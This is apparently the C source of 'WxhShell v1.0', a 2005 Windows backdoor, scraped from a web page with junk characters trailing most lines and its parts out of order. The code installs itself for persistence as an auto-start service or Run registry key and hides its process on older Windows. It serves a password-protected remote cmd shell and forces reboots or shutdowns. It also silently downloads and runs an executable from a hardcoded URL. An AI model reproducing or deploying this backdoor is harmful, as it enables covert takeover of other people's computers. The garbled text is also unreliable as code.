    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h}nS&.  
    if(Boot(SHUTDOWN)) rYV]<[?~7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZo}Ix:/  
    else { %Unwh1VG  
    closesocket(wsh); 7f3,czW  
    ExitThread(0); 4n.JRR&;  
    } Kt qOA[6  
    break; ;t9!< L  
    } "N'W~XPG  
  // 获取shell D 9;pjY  
  case 's': { vC1fKo\p  
    CmdShell(wsh); L9^ M?.a  
    closesocket(wsh); *BrGh  
    ExitThread(0); izcjI.3e,  
    break; [QMN0#(h  
  } "] 2^O  
  // 退出 JXRU9`3)A  
  case 'x': { Y6Y"fb%K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C(h<s e?  
    CloseIt(wsh); i@D4bd9lR  
    break; m<#^c?u  
    } atd;)o0*0  
  // 离开 ,j{tGj_  
  case 'q': { EF$ASNh"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UsA fZg8  
    closesocket(wsh); E,ilJl\  
    WSACleanup(); 5|jY  
    exit(1); a0k;way  
    break; ]Hl{(v\H O  
        } :B=Gb8?  
  } ^B%ki  
  } 'y>Y*/  
@J>JZ7m]\  
  // 提示信息 SHSfe{n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bxwwYSS  
} [%yj' )R/  
  } teb(gUy}L6  
6DU(KYN  
  return; %=*|: v  
} ?vbAaRg50s  
)w<Z4_!N4s  
// shell模块句柄 <L*`WO]\l  
int CmdShell(SOCKET sock) wA 7\K~fHV  
{ #X1a v  
STARTUPINFO si; 7. $wK.  
ZeroMemory(&si,sizeof(si)); >}+R+''nR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RcJtVOrd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a {x3FQ  
PROCESS_INFORMATION ProcessInfo; )l! /7WKY  
char cmdline[]="cmd"; :_xfi9L~W0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7f k)a  
  return 0; ~a4Y8r  
} ex`T 9j.=B  
pl[@U<8aw  
// 自身启动模式 F =*4] O  
int StartFromService(void) }%PK %/ zI  
{ o_b3G  
typedef struct rZ n@i  
{ F_-xp1|  
  DWORD ExitStatus; mT-[I<  
  DWORD PebBaseAddress; $aU.M3  
  DWORD AffinityMask; JvvN>bg  
  DWORD BasePriority; j[R.UB3J  
  ULONG UniqueProcessId; S[7^#O.)  
  ULONG InheritedFromUniqueProcessId; v,*C>u\3s  
}   PROCESS_BASIC_INFORMATION; *aS+XnT/  
jTg~]PQ^  
PROCNTQSIP NtQueryInformationProcess; 5_](N$$  
~Gh7i>n*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1anh@T.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 479X5Cl  
M?My+ oT  
  HANDLE             hProcess; 2 z#S| $  
  PROCESS_BASIC_INFORMATION pbi; .hG*mXw>  
)qMbk7:v\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); opm_|0  
  if(NULL == hInst ) return 0; ?aWVfX!+G5  
EFx>Hu/ [G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'nM4t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ye$j43b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sCt)Yp+8}B  
<FU?^*~  
  if (!NtQueryInformationProcess) return 0; <)!,$]S  
<"K*O9 nst  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z7sDaZL?_  
  if(!hProcess) return 0; z k}AGw  
>EFWevT{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p[xGL } +\  
|kvH`&s  
  CloseHandle(hProcess); L~;(M6Jp  
U/kQwrM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zdU 46|!u  
if(hProcess==NULL) return 0; AIn/v`JeX  
EZjtZMnj  
HMODULE hMod; .QKyB>s  
char procName[255]; w< Xwz`O  
unsigned long cbNeeded; JttDRNZAU  
[PUu9rz#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y9d"sqyh  
`#l3a  
  CloseHandle(hProcess); (57!{[J  
T_D] rMl  
if(strstr(procName,"services")) return 1; // 以服务启动 .1;UEb|T  
;>5`Y8s6  
  return 0; // 注册表启动 MIr+4L  
} M.s'~S7y  
%c\k LSe  
// 主模块 u<cnz% @  
int StartWxhshell(LPSTR lpCmdLine) ,G}i:7  
{ [(3s5)O  
  SOCKET wsl; *@PM,tS;  
BOOL val=TRUE; {]}94T~/k  
  int port=0; 7mdd}L^h Z  
  struct sockaddr_in door; K.mxF,H  
yj_> G  
  if(wscfg.ws_autoins) Install(); 6*>Lud  
@j}%{Km]Y  
port=atoi(lpCmdLine); MaHP):~  
;9h;oB@  
if(port<=0) port=wscfg.ws_port; %EVgSF!r  
D@68_sn  
  WSADATA data; #I453  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w5%i  
=HsE:@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q*%}w_D6f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kUS]g r~i  
  door.sin_family = AF_INET; 0stc$~~v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HBOyiIm Q  
  door.sin_port = htons(port); D%yY&q;  
bz#]>RD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =iKl<CqI$E  
closesocket(wsl); cXqYO|3/M  
return 1; C[ mTVxd  
} KsOWTq"uj  
JL1A3G  
  if(listen(wsl,2) == INVALID_SOCKET) { JJtx `@Bc  
closesocket(wsl); yTd8)zWq  
return 1; L0!CHP/nRS  
} RhHm[aN  
  Wxhshell(wsl); ~o%igJ }.C  
  WSACleanup(); Px=@Tw N,  
HVHv,:bPo  
return 0; qJdlZW<  
)'U0n`=  
} A/'po_'uy  
]1<GZ`  
// 以NT服务方式启动 .nrllVG%`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v}Ju2}IK  
{ rjK`t_(=  
DWORD   status = 0; u7[}pf$}  
  DWORD   specificError = 0xfffffff; 4_=2|2Wz[  
_#:/ ~Jp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <8^x Mjc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k[ro[E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,.W7Z~z  
  serviceStatus.dwWin32ExitCode     = 0; .M^[/!  
  serviceStatus.dwServiceSpecificExitCode = 0; tWIJ,_8l  
  serviceStatus.dwCheckPoint       = 0; ciS,  
  serviceStatus.dwWaitHint       = 0; =zyA~}M2  
BtC*]WB"_'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'q)g, 2B%  
  if (hServiceStatusHandle==0) return; G7nhUg  
vNv!fkl  
status = GetLastError(); !&rd#ZBn  
  if (status!=NO_ERROR) =,(TP  
{ MY@&^71i4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a^p#M  
    serviceStatus.dwCheckPoint       = 0; yk`qF'4]  
    serviceStatus.dwWaitHint       = 0; )e,O+w"  
    serviceStatus.dwWin32ExitCode     = status; Y/FPkH4  
    serviceStatus.dwServiceSpecificExitCode = specificError; h0rPMd(K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9VnBNuT  
    return; IQ I8 v  
  } T[bCY 6  
~_D.&-xUF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R2Fjv@Egk  
  serviceStatus.dwCheckPoint       = 0; @m#OhERv  
  serviceStatus.dwWaitHint       = 0; =+!l8o&o,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3OZPy|".ax  
} K] (*l"'U5  
1g{Pe`G,  
// 处理NT服务事件,比如:启动、停止  ;v:(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P"Al*{:J  
{ q#W|fkfx+  
switch(fdwControl) h= sNj  
{ w*ans}P7  
case SERVICE_CONTROL_STOP: wfmM`4Y   
  serviceStatus.dwWin32ExitCode = 0; Cf2WBX$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \EySKQ=  
  serviceStatus.dwCheckPoint   = 0; C 1k< P  
  serviceStatus.dwWaitHint     = 0; #s\@fp7A  
  { L"m^LyU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QJVbt  
  } DW. w=L|5R  
  return; At iUTA  
case SERVICE_CONTROL_PAUSE: .$18%jH#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $8=|<vt  
  break; } a9Ah:.7/  
case SERVICE_CONTROL_CONTINUE: R c+olJ^5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T- en|.  
  break; P]43FPb  
case SERVICE_CONTROL_INTERROGATE: V\;Xa0  
  break; _B0(1(M<2  
}; \wK&wRn)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VVas>/0qr  
} 5qb93E"C  
{]T?)!V m  
// 标准应用程序主函数 @Vre)OrN#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]4l2jY  
{ UTD_rQ  
hIJtu;}zU  
// 获取操作系统版本 }5;4'l8  
OsIsNt=GetOsVer(); *q=T1JY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GJeG7xtJKl  
y|5L%,i  
  // 从命令行安装 I=y7$+7%  
  if(strpbrk(lpCmdLine,"iI")) Install(); r/j:A#6M]o  
bv[#|^/  
  // 下载执行文件 9n& &`r  
if(wscfg.ws_downexe) { 8 "l PiW3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m\6/:~qWW  
  WinExec(wscfg.ws_filenam,SW_HIDE); }/cReX,so  
} h'y%TOob  
X-c|jn7  
if(!OsIsNt) { Y![Q1D!  
// 如果时win9x,隐藏进程并且设置为注册表启动 XQ#K1Z  
HideProc(); O3} JOv_  
StartWxhshell(lpCmdLine); ]`/>hH>+~9  
} PI9,*rOy  
else UMoj9/-  
  if(StartFromService()) s1:Wrz?4  
  // 以服务方式启动 xyp{_ MZ  
  StartServiceCtrlDispatcher(DispatchTable); 8xPt1Sotq[  
else hNN>Pd~;  
  // 普通方式启动 EeW ,-I  
  StartWxhshell(lpCmdLine); -S'KxC  
!5`MiH  
return 0; .-d'*$ yJ  
} J9Ao*IW~  
1BSd9Ydj  
B9maz"lJ  
XO+BZB`F  
=========================================== EoAr}fI  
Q{l,4P  
bA^uzE  
aLa<z Essz  
D:z'`v0j  
uvId],dQ5  
" A)f-r  
8q^}AT<C  
#include <stdio.h> dli(ckr  
#include <string.h> (` *BZ_  
#include <windows.h> yw^Pok5.  
#include <winsock2.h> n1sYD6u<&  
#include <winsvc.h> pbH!u+DF  
#include <urlmon.h> wQhNQ(H~\  
Cj-s  
#pragma comment (lib, "Ws2_32.lib") 7Ak<e tHD  
#pragma comment (lib, "urlmon.lib") 3s6obw$ki  
\ruQx)5M  
#define MAX_USER   100 // 最大客户端连接数 Aa ~W,  
#define BUF_SOCK   200 // sock buffer (95|DCL  
#define KEY_BUFF   255 // 输入 buffer # T=iS(i  
r48|C{je-  
#define REBOOT     0   // 重启 f3K-X1`]'U  
#define SHUTDOWN   1   // 关机 7(Fas(j3  
586P~C[ic  
#define DEF_PORT   5000 // 监听端口 6TP /0o)  
O$*lPA[  
#define REG_LEN     16   // 注册表键长度 h^Wb<O`S  
#define SVC_LEN     80   // NT服务名长度 zI`I Q  
[:8\F#KW  
// 从dll定义API e?>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d_9 C m@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2bt>t[0ad  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4^F[Gp?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j4~(6Imm  
@8L5 UT  
// wxhshell配置信息 M\]lNQA  
struct WSCFG { Y%KowgP\  
  int ws_port;         // 监听端口 `"5U b,~  
  char ws_passstr[REG_LEN]; // 口令 +A}t_u3<  
  int ws_autoins;       // 安装标记, 1=yes 0=no fap`;AuwK  
  char ws_regname[REG_LEN]; // 注册表键名 FM {f{2j  
  char ws_svcname[REG_LEN]; // 服务名 $L*gtZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q0.!T0i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IZZAR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (i~UH04r>s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c4H6I~2Na  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =7 l uV_5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y2`sL,'h  
uo"<}>iJ  
}; 1&w%TRC2x  
7^gO>2~  
// default Wxhshell configuration jPWONz(#  
struct WSCFG wscfg={DEF_PORT, &*`dRIQ]  
    "xuhuanlingzhe", IWv 9!lW  
    1, pN9!  
    "Wxhshell", I9X \@ lTf  
    "Wxhshell", L!}!k N:?  
            "WxhShell Service", <ToS&  
    "Wrsky Windows CmdShell Service", B/a gW  
    "Please Input Your Password: ", cY?|RXNmZ  
  1, p6DI7<C<H  
  "http://www.wrsky.com/wxhshell.exe", zMSwU]4I!  
  "Wxhshell.exe" R{g= N%O  
    }; ;K<VT\  
wm5&5F4:  
// 消息定义模块 I}`pY3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )N.3Q1g-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0L}`fYf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .p[uIRd`  
char *msg_ws_ext="\n\rExit."; Kb;*"@LX  
char *msg_ws_end="\n\rQuit."; f_c\uN@f  
char *msg_ws_boot="\n\rReboot..."; o,7|=.-b  
char *msg_ws_poff="\n\rShutdown..."; f"Sp.'@  
char *msg_ws_down="\n\rSave to "; j.=:S;  
9Yt|Wj  
char *msg_ws_err="\n\rErr!"; '2lV(>"  
char *msg_ws_ok="\n\rOK!"; pDS[ecx  
2yfU]`qN  
char ExeFile[MAX_PATH]; !>48`o ^  
int nUser = 0; 6z\!lOVjb  
HANDLE handles[MAX_USER]; a 0SZw  
int OsIsNt; v5[gFY(?  
Vn#}f=u\  
SERVICE_STATUS       serviceStatus; |"*P`C=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \K$\-]N+  
;\pr05  
// 函数声明 8m+~HSIR  
int Install(void); gj^)T_E_  
int Uninstall(void); F_@B ` ,  
int DownloadFile(char *sURL, SOCKET wsh); e{x>u(  
int Boot(int flag); b|i4me@  
void HideProc(void); =xk>yw!O)  
int GetOsVer(void); FGVw=G{r  
int Wxhshell(SOCKET wsl); |4+'YgO  
void TalkWithClient(void *cs); m` 1dB%;?  
int CmdShell(SOCKET sock); z^9oaoTl  
int StartFromService(void);  [N,+mX  
int StartWxhshell(LPSTR lpCmdLine); 7$*E0  
j2G^sj"|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]]|#+$ ~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SdnnXEB7  
)Jt. Z^J<  
// 数据结构和表定义 , z\Qd07u  
SERVICE_TABLE_ENTRY DispatchTable[] = ]L3U2H`7  
{ WJ8i=MO67  
{wscfg.ws_svcname, NTServiceMain}, $%EX~$=m]-  
{NULL, NULL} h0F=5| B  
}; { j_-iF  
Cu@q*:'  
// 自我安装 , Q0Y} )  
int Install(void) ?`+VWa[,e  
{ \GEz.Vb  
  char svExeFile[MAX_PATH]; {V7mpVTX.  
  HKEY key; (wu'FFJp#  
  strcpy(svExeFile,ExeFile); Kw-<o!~  
Ta[2uv>  
// 如果是win9x系统,修改注册表设为自启动 It3k#A0  
if(!OsIsNt) { k]ZE j/y~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a;[\nCK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L2@:?WW[  
  RegCloseKey(key); L&6^(Bn   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ULK] ' Rn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vHvz-3  
  RegCloseKey(key); DN%}OcpZ  
  return 0; ZX/FIxpy  
    } GvtK=A$b  
  } `,AOxJ:$  
} '{WEyhaS  
else { >lIzeEW#  
JV_`E_!  
// 如果是NT以上系统,安装为系统服务 "|JbdI]%P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xoVd[c!   
if (schSCManager!=0) \PS]c9@,rc  
{ c#x~x  
  SC_HANDLE schService = CreateService <lzC|>BG  
  ( OV{v6,>O  
  schSCManager, lITd{E,+r  
  wscfg.ws_svcname, 82FEl~,^E  
  wscfg.ws_svcdisp, 3w^W6hN)  
  SERVICE_ALL_ACCESS, QPm[4Fd{G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (rFkXK4^J  
  SERVICE_AUTO_START, faOiNR7;h  
  SERVICE_ERROR_NORMAL, dEYw_qJ2  
  svExeFile, O.jm{x!m  
  NULL, H!Gw@u]E  
  NULL, ;MeY@* "{  
  NULL, g#(+:^3'  
  NULL, '/`O*KD]  
  NULL #~p;s>  
  ); cn}15JHdR  
  if (schService!=0) Q m*z  
  { 3>n&u,Xe  
  CloseServiceHandle(schService); B-g-T>8  
  CloseServiceHandle(schSCManager); 4- QlIIf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }`CF(Do  
  strcat(svExeFile,wscfg.ws_svcname); )ThNy:4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !,ODczWvh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <Y6Vfee,&  
  RegCloseKey(key); by1q"\-,  
  return 0; NK|U:p2H  
    } cq>J]35  
  } ~ AD>@;8fG  
  CloseServiceHandle(schSCManager); {ccc[G?>.Q  
} z wUC L  
} Mq~E'g4#  
TeuZVy8a  
return 1; z?13~e[D  
} dWzf C@]  
}t#|+T2f  
// 自我卸载 !84Lvg0&  
int Uninstall(void) ([<{RjPb  
{ W?SAa7+  
  HKEY key; I;}U/'RR>  
^+-QY\N j  
if(!OsIsNt) { X8v)yDtw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a5Vlfx  
  RegDeleteValue(key,wscfg.ws_regname); {;Hg1=cm  
  RegCloseKey(key); y# \"yykB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lea4-Gc  
  RegDeleteValue(key,wscfg.ws_regname); UG44 oKB  
  RegCloseKey(key); .WSn Y71  
  return 0; .oM- A\!  
  } Tp@Yn  
} Q1Qw45$  
} (,sz.  
else { vE`;1UA}  
cFie;k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j)G%I y[`  
if (schSCManager!=0) m\*ca3$  
{ bv <^zuV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?1g`'q@T%  
  if (schService!=0) Zz (qc5o,F  
  { _*=4xmB.=  
  if(DeleteService(schService)!=0) { Ng<ic  
  CloseServiceHandle(schService); o_\vudXK  
  CloseServiceHandle(schSCManager); =oXlJ[)h  
  return 0; XR8`,qH>  
  } hgYFR6VH  
  CloseServiceHandle(schService); IZdWEbN1  
  } ~*1Z1aZ  
  CloseServiceHandle(schSCManager); OqsuuE  
} Q`K^>L1  
} ?VxQ&^|  
GR(m+%Vw!  
return 1; %{'[S0@Z  
} tYMr  
OLF6["0Rn  
// 从指定url下载文件 #k<l5x`  
int DownloadFile(char *sURL, SOCKET wsh) {R(/Usg!=  
{ A' ![*O  
  HRESULT hr; Jv 5l   
char seps[]= "/"; aPe*@py3T  
char *token; O:+y/c  
char *file; /(||9\;  
char myURL[MAX_PATH]; 7#"y mE  
char myFILE[MAX_PATH]; Z}zka<y6K6  
D]d! lMK/  
strcpy(myURL,sURL); B^M L}$  
  token=strtok(myURL,seps); pHk$_t  
  while(token!=NULL) wqm{f~nj=  
  { vR#MUKfh  
    file=token; CBdr 1  
  token=strtok(NULL,seps); g<~ODMCO?W  
  } orWF>o=1  
5Th\wTh04  
GetCurrentDirectory(MAX_PATH,myFILE); \3(s&K\Y6\  
strcat(myFILE, "\\"); V@LBy1z  
strcat(myFILE, file); 1Z_]Ge<a  
  send(wsh,myFILE,strlen(myFILE),0); .rg "(I  
send(wsh,"...",3,0); O>f*D+A-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rv)Eg53Q  
  if(hr==S_OK) r_ m|?U %  
return 0; W@GU;Nr  
else ku57<kb  
return 1; [GM!@6U  
 ZJ)>gV  
} 1IgTJ" \  
CNj |vYj  
// 系统电源模块 8>|4iT  
int Boot(int flag) 8DD1wK\U~  
{ #6y fIvap  
  HANDLE hToken; {?w *n_T.  
  TOKEN_PRIVILEGES tkp; Ac*)z#H  
* XDe:A  
  if(OsIsNt) { 9]chv>dO)=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W7s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <b4} B   
    tkp.PrivilegeCount = 1; _;x`6LM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f[`&3+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~6u|@pnI  
if(flag==REBOOT) { cWQ &zc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) taVK&ohWx  
  return 0; Z[RifqaBby  
} pi;fu  
else { 4ke.p<dG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a~VW?wq  
  return 0; nJgN2Z  
} j$u  
  } Pr1OQbg]8  
  else { cjLA7I.O  
if(flag==REBOOT) { \ z*<^ONq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0jXDjk5'<  
  return 0; 1_xkGc-z<  
} 4 q % Gc  
else { u3 +]3!BQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ok-q9dM  
  return 0; _M>S=3w  
} cy8r}wD  
} Q^Vch(`&P  
2nFr?Y3g,  
return 1; ( Q&jp!WU  
} isnpSN"z  
Mu" vj*F  
// win9x进程隐藏模块 X)TZ  S  
void HideProc(void) 8BY`~TZO$q  
{ E9.1~ )  
|e+r~).4B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T/%k1Hsa4H  
  if ( hKernel != NULL ) kDiR2K&  
  { sBxCi~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  )DW".c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *xeJ4h  
    FreeLibrary(hKernel); 0!c/4^  
  } kmJ<AnK  
tsB}'+!v#  
return; g]b%<DJ  
} 21?>rezJ  
rd(-2,$4  
// 获取操作系统版本 $0M7P5]N*G  
int GetOsVer(void) |f}`uF  
{ H!y-o'Z  
  OSVERSIONINFO winfo; MqWM!v-M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #Guwbg  
  GetVersionEx(&winfo); obX2/   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZE/Aj/7Qy  
  return 1; g1UQ6Oa  
  else ?a?] LIE8  
  return 0; 0KZsWlD:L  
} s BuXw a  
z.t,qi$;{U  
// 客户端句柄模块 Z 2uU'T  
int Wxhshell(SOCKET wsl) +b dnTV6  
{ 4%>tk 8 [  
  SOCKET wsh; PB:r+[91  
  struct sockaddr_in client; m}m|(;T  
  DWORD myID; gFM~M(  
(WGEX(|  
  while(nUser<MAX_USER) "W}+~Sn  
{ 9\r5&#<(I  
  int nSize=sizeof(client); *; 6LX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -,"eN}P^  
  if(wsh==INVALID_SOCKET) return 1; 8?o{{ay  
i,y{*xBT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :y!{=[>M(  
if(handles[nUser]==0) *ul-D42!U  
  closesocket(wsh); UXS+GAWU  
else f*[Uq0?  
  nUser++; J B  !Q  
  } cc3+ Wx_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _ =(v? 2:?  
K+U0YMRmz  
  return 0; cn ;2&  
} ns[h_g!j;  
*^%ohCU i  
// 关闭 socket %G]WOq=q  
void CloseIt(SOCKET wsh) `]2y=f<{X  
{ < $rXQ  
closesocket(wsh); J\ ?  
nUser--; LC/%AbM  
ExitThread(0); C:}"?tri  
} .18MMzdN  
];Bk|xJ/>  
// 客户端请求句柄 Or()AzwE@  
void TalkWithClient(void *cs) kPp7;U2A  
{ 6)3pnhG9  
74~ %4  
  SOCKET wsh=(SOCKET)cs; _4t  
  char pwd[SVC_LEN]; SM`n:{N(  
  char cmd[KEY_BUFF]; rdm&YM`J  
char chr[1]; sCAWrbOe>  
int i,j; X4v0>c  
OWHHN<  
  while (nUser < MAX_USER) { 0 !F! Y_  
OmECvL'Z  
if(wscfg.ws_passstr) { n\4sNoFI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xNxSgvco ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z uO 7 N  
  //ZeroMemory(pwd,KEY_BUFF); $,7Yo nc  
      i=0; /. @"wAw:  
  while(i<SVC_LEN) { J po(O>\P  
NFb<fD[C  
  // 设置超时 %t,Fxj4F  
  fd_set FdRead; AhSN'gWpbF  
  struct timeval TimeOut; Dn.%+im-u  
  FD_ZERO(&FdRead); Y X{F$BM  
  FD_SET(wsh,&FdRead); =&?BPhJE  
  TimeOut.tv_sec=8; zO)3MC7l*  
  TimeOut.tv_usec=0; )L7h:%h#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bX&=*L+ h6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jL#`CD  
Bjsg!^X7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \w@ "`!%  
  pwd=chr[0]; (, uW-  
  if(chr[0]==0xd || chr[0]==0xa) { >o!~T}J7  
  pwd=0; J?bx<$C@  
  break; B P0*`TY  
  } s\ YHT.O?  
  i++; hdH}4W  
    } /.[78:G\,  
hW-?j&yJ?  
  // 如果是非法用户,关闭 socket e:RgCDWL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XRWy#Pj  
} JE/Kf<  
!&vPG>V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (%iCP/E3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wr\A ->+  
rTtxmw0  
while(1) { B["C~aF  
+T]D\];D  
  ZeroMemory(cmd,KEY_BUFF); X?OH//co  
[#C(^J*@c  
      // 自动支持客户端 telnet标准   m3 W  
  j=0; 5'[b:YC  
  while(j<KEY_BUFF) { 05o 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /gq VXDY+`  
  cmd[j]=chr[0]; *TP>)o  
  if(chr[0]==0xa || chr[0]==0xd) { OOj }CZ6  
  cmd[j]=0; 18gApRa  
  break; 96S#Q*6+R  
  } S/7?6y~  
  j++; QNgfvy  
    } 4Yya+[RY  
}:hN}*H  
  // 下载文件 /}$D&KwYg  
  if(strstr(cmd,"http://")) { v,A8Mk2s#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PFPZ]XI%F  
  if(DownloadFile(cmd,wsh)) J`d;I#R%c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Z*6,P0  
  else % (x9~"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  F'9#dR?  
